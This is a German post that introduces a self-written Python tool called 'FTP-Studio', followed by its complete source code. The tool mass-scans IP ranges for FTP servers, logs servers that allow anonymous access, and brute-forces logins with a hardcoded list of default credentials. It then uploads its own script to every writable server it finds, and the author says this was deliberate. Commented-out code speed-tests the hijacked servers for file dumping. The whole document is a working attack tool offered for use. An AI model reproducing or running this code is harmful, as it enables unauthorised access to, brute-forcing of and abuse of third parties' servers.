Was es mit dem FTP-Studio auf sich hat…
Mir war nicht nur langweilig, mir fehlten auch Tools, um auf Linux nach Pubs zu scannen.
Also schrieb ich das FTP-Studio. Ich wollte mein ganzes Leben lang schon mal mit Sockets arbeiten, und bei dem FTP-Studio, setzte ich es dann auch um, nachdem ich mir bestimmte Themen im Internet durchlas.
Eigentlich ist das FTP-Studio für jeden Zugänglich, auch wenn er mit Grims Ping scannt, denn ich nutzte die Möglichkeit eine Datei zu schreiben aus, und kopierte nun mit dem Script das vollständige Script auf die gefundenen öffentlichen und beschreibbaren FTP-Server.
"""
FTP-Studio
FuckThePolice-Studio
Coded by DAMiEN aka stylez
usage: python3 ftpstudio.py -rf rangefile
rangefile has to look like below:
123.123.123.123-123.123.123.124
124.124.124.124-125.125.125.125
...
or
123.0.0.0/8
124.0.0.0/8
...
automatic portscan, check for anonftp and 'bruteforce' + check for upload permission
v1.0
"""
import ipaddress
import socket
import sys
import threading
import os
import time
threads = 50
if not os.path.exists('5M.bin') == True:
f = open('5M.bin','wb')
f.write(b'\x01'*5120000)
f.close()
def StripPassive(string):
try:
string = string.strip(').\r\n')
return string
except:
string = string.strip(')\r\n')
return string
def Speedtest(host,username,password):
try:
s = socket.socket() # same as above
s.settimeout(3) # same as above
target = (host,21) # same as above
usr = "USER "+username+"\r\n" # same as above
pwd = "PASS "+password+"\r\n" # same as above
mode = "TYPE I\r\n" # list with commands that will be used to initiate filetransfer
psv = "PASV\r\n"
stor = "STOR 5M.bin\r\n"
retr = "RETR 5M.bin\r\n"
sz = "SIZE 5M.bin\r\n "
s.connect(target)
s.recv(4096)
s.send(usr.encode())
s.recv(4096)
s.send(pwd.encode())
s.recv(4096)
s.send(mode.encode())
s.recv(4096)
s.send(psv.encode())
a = s.recv(8172)
SRV = a.decode('utf-8').partition('(')
SRV = StripPassive(SRV[2])
SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
PRT = int(SRV[4])*256
PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
s.send(stor.encode())
w = s.recv(4096)
if "553" in w.decode('utf-8'):
s.close()
print("Keine Schreibrechte! ): \n") # print we got no permission
else:
t_start = time.time()
ST = socket.socket() # create another socket
ST.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode
F = open('5M.bin','rb') # open file 1MB.bin in read and binary mode
tra = F.read() # read first 4096 bytes of our opened file
ST.sendall(tra) # send all read bytes to the server
F.close() # if the loop is finished, close the file.
ST.close() # close our passive mode socket.
a = s.recv(8172) # receive status code after transfer
if "226" in a.decode('utf-8'): # if it's completed without errors
t_end = time.time()
t_total = t_end-t_start
upspeed = 5/t_total
print("Server "+host+" kann mit "+str(upspeed)+" mb/s leechen.\n")
s.recv(4096)
s.send(sz.encode()) # check for file
w = s.recv(4096) # if it's there
if "213" in w.decode('utf-8'):
s.send(psv.encode()) # going to passive mode
a = s.recv(8172) # retrieve data
SRV = a.decode('utf-8').partition('(')
SRV = StripPassive(SRV[2])
SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
PRT = int(SRV[4])*256
PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
SD = socket.socket() # create another socket
SD.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode
SD.send(retr.encode()) # telling to download the file
t_start = time.time() # getting actual time
fn = time.time()
r = open(str(fn),'wb') # opening temporary file
while True: # while we moving 1 byte to another we
data = SD.recv(1024)
if data == 'EOF'.encode():
break
r.write(data) # write those zeros and ones to the temporary file
r.close()
print("Download abgeschlossen.\n")
SD.close() # closing the second data connection
w = s.recv(4096) # retrieving the status if file was transferred successfully
if "226" in w.decode('utf-8'):
t_end = time.time()
t_total = t_end-t_start
downspeed = 5/t_total
os.remove(str(fn))
elif "550" in w.decode('utf-8'):
print("File nicht gefunden! ):\n")
open('speedtest_completed','a').write(host+" "+str(upspeed)+"mb/s UP / "+str(downspeed)+"mb/s DOWN.\n") # log result with download and upload speeds rated in megabyte per second
print("[] Speedtest abgeschlossen, Nase voll! IP: "+host+" (: []\n") # print that we got write permission to /
s.close() # close socket
except: # if error
print("Failed on IP:"+host+"! ): \n") # print failed
def CheckIfOpen(ip):
s = socket.socket() #creating socket
s.settimeout(0.8) # setting timeout
target = (ip,21) #define where to connect to
try: # try to connect and log successfully
usr = "USER anonymous\r\n" # set USER command for FTP-Connection
pwd = "PASS anonymous\r\n"# set PASSWORD command for FTP-Connection
syst = "SYST\r\n"
s.connect(target) # connect
s.recv(4096) #receive login message
s.sendall(usr.encode()) # send encoded username
answer = s.recv(4096) # receiver answer for trying to authenticate
if "331" in answer.decode('utf-8'): # check if we are allowed to login
s.sendall(pwd.encode()) # send password if we are able to login as anonymous
check = s.recv(4096) # receive answer if auth was successful
if "230" in check.decode('utf-8'): # if login was valid
s.sendall(syst.encode())
c = s.recv(4096)
print(ip+" Found Pub! Saved! (: \n") # print that we found something
if "NT" in c.decode('utf-8'):
w = open('nt_pub','a') # write the result to file
w.write(ip+"\n") #
w.close() # close the file
elif "UNIX" in c.decode('utf-8'):
w = open('unix_pub','a')
w.write(ip+"\n")
w.close()
s.close() # close the connection
elif "530" in check.decode('utf-8'): # same as above
print(ip+" Not Anonymous. Saved! >.>\n") # print that access is denied
w = open('ftp2brute','a') # open logfile for results that could be bruteforced
w.write(ip+"\n") # write to log
w.close() # close file
s.close() # close connection
elif "230" in answer.decode('utf-8'): # if we can login without password, just by typing anonymous as username
print(ip+" Found Pub! Saved!") # print we found sth.
w = open('found_pub','a')
w.write(ip+"\n") # write result to file
w.close()
s.close() #close socket
except: # if no success
print("Host "+ip+" not reachable! ): \n") # print we did not reach an open port
s.close() # close socket
def BruteforceFTP(ip):
users = ["test","ftp","ftpuser","admin","manager","sysadmin","user","pub","root","instrument","nobody","newuser"] #userlist
passwords = ["test","ftp","ftpuser","admin","password","ftp123","123","abc123","manager","sysadmin","pub","root","user","instrument","xampp","wampp"] #passwordlist
target = (ip,21) # same as above
s = socket.socket() #same as above
s.settimeout(1.5) # same as above
for user in users: # iterate userlist
for password in passwords: #iterate passwords
usr = "USER "+user+"\r\n" # authentication step 1
pwd = "PASS "+password+"\r\n" #authentication step 2 with line feed to complete command
qt = "QUIT\r\n"
try:
s.connect(target)
s.recv(4096) # receive login message else no login would be possible
s.sendall(usr.encode()) # encode the step1 to bytes and send it
s.recv(4096) # receive answer so we can send step2
s.sendall(pwd.encode()) # send step2
answer = s.recv(4096) # retrieve message into variable for if-statement
if "230" in answer.decode('utf-8'): # check if login successful
print("Found Login! Combo: "+user+"/"+password+" on IP: "+ip+"!\nSchreibrechte testen! (: \n") # print that we found something
s.send(qt.encode())
s.recv(4096)
s.close() # close socket
W = open('bruted_ftp','a')
W.write(ip+" Login: "+user+"/"+password+"\n")
W.close()
d = socket.socket() # same as above
d.settimeout(10) # same as above
target = (ip,21) # same as above
usr = "USER "+user+"\r\n" # same as above
pwd = "PASS "+password+"\r\n" # same as above
mode = "TYPE I\r\n" # list with commands that will be used to initiate filetransfer
psv = "PASV\r\n"
stor = "STOR ftpstudio.py\r\n"
d.connect(target)
d.recv(4096)
d.send(usr.encode())
d.recv(4096)
d.send(pwd.encode())
d.recv(4096)
d.send(mode.encode())
d.recv(4096)
d.send(psv.encode())
a = d.recv(8172)
SRV = a.decode('utf-8').partition('(')
SRV = StripPassive(SRV[2])
SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
PRT = int(SRV[4])*256
PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
d.send(stor.encode())
w = d.recv(4096)
if "553" in w.decode('utf-8'):
d.close()
print("Keine Schreibrechte! ): \n") # print we got no permission
else:
ST = socket.socket() # create another socket
ST.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode
F = open('ftpstudio.py','rb') # open file 1MB.bin in read and binary mode
tra = F.read() # read first 4096 bytes of our opened file
ST.sendall(tra) # send all read bytes to the server
F.close() # if the loop is finished, close the file.
ST.close() # close our passive mode socket.
a = d.recv(8172) # receive status code after transfer
if "226" in a.decode('utf-8'): # if it's completed without errors
open('writable_ftps','a').write(ip+" "+user+":"+password+"\n") # log result
print("[] Schreibrechte vorhanden! IP: "+ip+" (: []\n") # print that we got write permission to /
d.close() # close socket
break # exit passwords iteration for new user
elif "530" in answer.decode('utf-8'): # if login was denied
print("Failed login on IP: "+ip+"! ):\n") # print that it was not successful
d.close() # forcing to close the connection
except: # if an error occured like no ftp service or blacklisted
pass # go on with next result
def CheckForWritable(ip):
try:
s = socket.socket() # same as above
s.settimeout(10) # same as above
target = (ip,21) # same as above
usr = "USER anonymous\r\n" # same as above
pwd = "PASS anonymous\r\n" # same as above
mode = "TYPE I\r\n" # list with commands that will be used to initiate filetransfer
psv = "PASV\r\n"
stor = "STOR ftpstudio.py\r\n"
s.connect(target)
s.recv(4096)
s.send(usr.encode())
s.recv(4096)
s.send(pwd.encode())
s.recv(4096)
s.send(mode.encode())
s.recv(4096)
s.send(psv.encode())
a = s.recv(8172)
SRV = a.decode('utf-8').partition('(')
SRV = StripPassive(SRV[2])
SRV = SRV.split(',') # split server ip and ports indicated by the server while switching to passive mode
SRV2 = SRV[0]+"."+SRV[1]+"."+SRV[2]+"."+SRV[3] # construct the server ip
PRT = int(SRV[4])*256
PRT = int(PRT) + int(SRV[5]) # # calculate the port that's gonna be used
s.send(stor.encode())
w = s.recv(4096)
if "553" in w.decode('utf-8'):
s.close()
print("Keine Schreibrechte! ): \n") # print we got no permission
else:
ST = socket.socket() # create another socket
ST.connect((SRV2,int(PRT))) # connect to the ip + port we need for filetransfer using passive mode
F = open('ftpstudio.py','rb') # open file 1MB.bin in read and binary mode
tra = F.read() # read first 4096 bytes of our opened file
ST.sendall(tra) # send all read bytes to the server
F.close() # if the loop is finished, close the file.
ST.close() # close our passive mode socket.
a = s.recv(8172) # receive status code after transfer
if "226" in a.decode('utf-8'): # if it's completed without errors
open('writable_pubs','a').write(ip+"\n") # log result
print("[] Schreibrechte vorhanden! IP: "+ip+" (: []\n") # print that we got write permission to /
s.close() # close socket
except: # if error
print("Failed on IP:"+ip+"! ): \n") # print failed
if sys.argv[1] == "-rf": # if second parameter (first after filename) is -rf
f = open(sys.argv[2]).read().splitlines() # read the third parameter as a file
for rng in f: # iterate the ranges from the file specified after -rf
if "-" in rng: # if we use none-cidr notation
r = rng.split("-") # split to define start and end ip
start = ipaddress.IPv4Address(r[0]) # start ip
end = ipaddress.IPv4Address(r[1]) # end ip
for address in range(int(start),int(end)+1): # calculate the integers of our both ips and count towards end ip using integers
ip = ipaddress.IPv4Address(address) # making an ip from our integer
T = threading.Thread(target=CheckIfOpen,args=(str(ip),)) # passing our ip as a readable string to our portscan function with thread
if threading.active_count() <= threads: # if current threads are lesser than or equal our maximum
T.start() # start the thread
else: # if it would be more than our maximum
T.start() # start the thread
T.join() # join the thread so we got space to start new threads
elif "/" in rng: # if cidr notation is used
l = list(ipaddress.IPv4Network(rng)) # construct a list of our hosts in the determined subnet
for address in l: # iterate the hosts
ip = str(address) # building ip to string
T = threading.Thread(target=CheckIfOpen,args=(ip,)) # same as above
if threading.active_count() <= threads: # same as above
T.start() # same as above
else: # same as above
T.start() # same as above
T.join() # same as above
T.join() # same as above
print("Jetzt werden Logins gecheckt! (: \n") # same as above
b = open('ftp2brute').read().splitlines() # same as above
if len(b) > 0: # same as above
for i in b: # same as above
B = threading.Thread(target=BruteforceFTP,args=(i,)) # same as above
if threading.active_count() <= threads: # same as above
B.start() # same as above
else: # same as above
B.start() # same as above
B.join() # same as above
B.join() # same as above
else: # same as above
print("Keine FTPs die man bruten kann! ): \n") # same as abov
print("Checke Pubs auf Schreibrechte! (: \n") # same as above
p = open('nt_pub').read().splitlines() # same as
T = open('unix_pub').read().splitlines()
if len(p) > 0: # same as above
for i in p: # same as above
P = threading.Thread(target=CheckForWritable,args=(i,)) # same as above
if threading.active_count() <= threads: # same as above
P.start() # same as above
else: # same as above
P.start() # same as above
P.join() # same as above
P.join() # same as above
else: # same as above
print("Keine Pubs zum checken! ): \n") # same as above
if len(T) > 0: # same as above
for i in T: # same as above
P = threading.Thread(target=CheckForWritable,args=(i,)) # same as above
if threading.active_count() <= threads: # same as above
P.start() # same as above
else: # same as above
P.start() # same as above
P.join() # same as above
P.join() # same as above
else: # same as above
print("Keine Pubs zum checken! ): \n") # same as above
#print("[] Kommen wir zum Nasenpeitschen! []\n")
#if os.path.exists('writable_ftps') == True:
# F = open('writable_ftps','r').read().splitlines()
# for RESULT in F:
# R1 = RESULT.split(" ")
# R2 = R1[1].split(":")
# S = threading.Thread(target=Speedtest,args=(R1[0],R2[0],R2[1],))
# if threading.active_count() < 5:
# S.start()
# else:
# S.start()
# S.join()
# print("[$] FTPs mit Speedtest fertig! [$]")
if os.path.exists('writable_pubs') == True:
#F = open('writable_pubs','r').read().splitlines()
#for RESULT in F:
# S = threading.Thread(target=Speedtest,args=(RESULT,"anonymous","anonymous",))
# if threading.active_count() < 5:
# S.start()
# else:
# S.start()
# S.join()
print("[$] Pubs mit Speedtest fertig! [$]")
print("Fertig!\n") # print that we are finished
os._exit(1) # exit the program